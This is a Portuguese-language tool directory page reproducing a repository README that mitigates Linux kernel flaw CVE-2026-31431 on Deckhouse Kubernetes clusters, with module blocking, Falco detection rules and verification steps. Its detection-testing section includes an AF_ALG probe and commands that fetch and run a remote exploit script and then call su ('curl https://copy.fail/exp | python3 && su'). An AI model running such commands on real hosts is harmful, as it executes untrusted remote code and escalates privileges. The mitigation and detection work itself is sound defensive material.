Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
Segurança de ContêineresAnálise de VulnerabilidadesAuditoria de ConfiguraçãoSegurança na NuvemDetecção de IntrusãoResposta a Incidentes
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Mitigação nativa do Kubernetes para CVE-2026-31431 com bloqueio automatizado de módulos do kernel, regras de detecção runtime do Falco e configuração de nós baseada em bashible para clusters Deckhouse.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 3 mesesAinda não revisado

Mitigação CVE-2026-31431 para a Plataforma Kubernetes Deckhouse

Idioma: Inglês | Русский

Sobre a vulnerabilidade

CVE-2026-31431 é uma vulnerabilidade no módulo algif_aead do kernel Linux, que expõe a API de criptografia do kernel para o espaço do usuário através da família de sockets AF_ALG. Uma falha na interface AEAD (Autenticated Encryption with Associated Data) permite que um usuário local não privilegiado desencadeie corrupção de memória no kernel ao enviar listas scatter-gather criadas, levando a escalada local de privilégios ou negação de serviço.

A superfície vulnerável é acessível a partir de qualquer processo — incluindo contêineres não privilegiados — que tenha permissão para chamar socket(AF_ALG, SOCK_SEQPACKET, 0) e vinculá-lo a um algoritmo do tipo aead. Runtimes de contêiner que não removem o perfil seccomp padrão ou não restringem a chamada de sistema socket expõem os nós do cluster ao ataque.

A mitigação recomendada, até que o patch upstream do kernel seja distribuído por meio de atualizações de pacotes do SO, é desabilitar o módulo do kernel algif_aead em todos os nós do cluster e detectar tentativas de exploração em tempo de execução.

Arquivos neste repositório

Este repositório contém tudo o que é necessário para mitigar CVE-2026-31431 em um cluster gerenciado pela Deckhouse:

ngc-cve-2026-31431.yaml — mitigação no lado do nó

O NodeGroupConfiguration é executado através do bashible em cada nó e realiza quatro etapas:

  1. Sondagem — abre um socket AF_ALG e o vincula a aead/gcm(aes) para determinar se a interface vulnerável está acessível no nó.
  2. Bloqueio — escreve /etc/modprobe.d/disable-algif.conf com diretivas install que impedem que algif_aead (e o guarda-chuva af_alg) sejam carregados novamente, seja manualmente ou como dependência.
  3. Descarregamento — executa rmmod algif_aead se o módulo estiver atualmente carregado. Ignorado se o módulo estiver embutido no kernel (nesse caso, apenas a lista de bloqueio + detecção em tempo de execução se aplicam).
  4. Verificação — reexecuta a sondagem e falha na etapa do bashible (código de saída diferente de zero) se a interface AEAD ainda estiver acessível, fazendo com que o status do bashible exiba o nó como não mitigado.

Idempotente: reexecutar a configuração em um nó já mitigado não causa efeito.

far-cve-2026-31431.yaml — detecção em tempo de execução

O recurso FalcoAuditRules adiciona uma regra Falco personalizada que dispara um evento Critical sempre que um processo abre um socket AF_ALG e o vincula a um algoritmo aead (o padrão de chamada de sistema exclusivo deste ataque). Ele também emite um evento Warning quando um processo tenta carregar o módulo algif_aead via modprobe/insmod, o que em um nó mitigado nunca deve ocorrer e é um forte sinal de tentativa de exploração ou configuração incorreta do operador.

Nota sobre edições: FalcoAuditRules é reconciliado pelo módulo runtime-audit-engine, que é fornecido apenas no Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE). Na Community Edition o recurso não será processado; o NodeGroupConfiguration deste repositório ainda se aplica e é a mitigação primária.

Aplicação

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE only:
kubectl apply -f far-cve-2026-31431.yaml

Aguardando a convergência

Aguarde a configuração ser aplicada em cada nó observando o status de cada NodeGroup. O bashible reporta o sucesso por etapa de volta ao NodeGroup, e a Deckhouse agrega isso em dois campos que você pode consultar:

  • .status.upToDate — número de nós cuja última execução do bashible foi bem-sucedida com a configuração atual. A convergência é alcançada quando upToDate == nodes para cada grupo.
  • .status.conditionSummary.ready — "True" quando o grupo está saudável; muda para "False" com um motivo legível por humanos em .status.conditionSummary.statusMessage se alguma etapa do bashible de qualquer nó falhar (que é exatamente o que a etapa de verificação no NodeGroupConfiguration faz em um nó onde a correção não pôde ser aplicada).

Uma visão única em todos os grupos:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

Uma verificação programável que sai com 0 apenas quando todos os grupos convergiram:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "ainda convergindo" || echo "todos os grupos de nós convergiram"

Se um NodeGroup ficar travado com conditionSummary.ready == "False", leia .status.conditionSummary.statusMessage — ele exibe a etapa do bashible que falhou, incluindo a etapa de verificação desta mitigação.

Reversão

Assim que o pacote do kernel upstream contendo a correção oficial for instalado em cada nó, remova ambos os recursos:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

Remover o NodeGroupConfiguration não exclui automaticamente /etc/modprobe.d/disable-algif.conf — limpe-o manualmente se quiser que o módulo possa ser carregado novamente, ou deixe a lista de bloqueio no lugar se a API de criptografia do kernel não for usada por nenhuma carga de trabalho no cluster.

Verificação manual

Em todo o cluster:

root@kitploit:~
kubectl get nodegroups

UPTODATE deve ser igual a NODES e a coluna de mensagem de status deve estar vazia para cada grupo.

Em um nó (SSH ou kubectl debug node/<nome> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

Esperado:

  • cat mostra as quatro linhas install / blacklist.
  • lsmod está vazio.
  • modprobe -n -v imprime install /bin/false.
  • modprobe retorna exit=1.

Verificando o disparo da regra do Falco

Use esta subseção para validar que o FalcoAuditRules personalizado para CVE-2026-31431 realmente dispara em cada execução do PoC.

Pré-verificações comuns para ambos os cenários:

  1. Verifique se runtime-audit-engine está saudável em todos os nós:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

Esperado: DESIRED == READY == AVAILABLE.

  1. Aplicar/atualizar regras:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. Iniciar stream de logs (opcional, terminal separado):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

Verificação a partir de um contêiner

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# Importante: use -i para que o Python receba o script via stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

Limpeza:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

Verificação a partir do host do cluster

Aviso de segurança: sempre revise qualquer script baixado antes de executá-lo. Não execute scripts remotos cegamente em ambientes de produção.

Recomendado (revise primeiro, depois execute):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

One-liner equivalente (após revisão/aprovação):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

Verifique as detecções:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Baixar ferramenta
ArquivoPropósito
ngc-cve-2026-31431.yamlNodeGroupConfiguration que sonda a interface vulnerável, bloqueia o carregamento de algif_aead, descarrega o módulo se estiver atualmente carregado e verifica se a correção é eficaz. Aplica-se a todos os bundles e grupos de nós.
far-cve-2026-31431.yamlFalcoAuditRules que detecta tentativas em tempo de execução de explorar a vulnerabilidade através de sockets AF_ALG vinculados a algoritmos AEAD. Disponível apenas no Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE), pois o módulo runtime-audit-engine é fornecido nessas edições.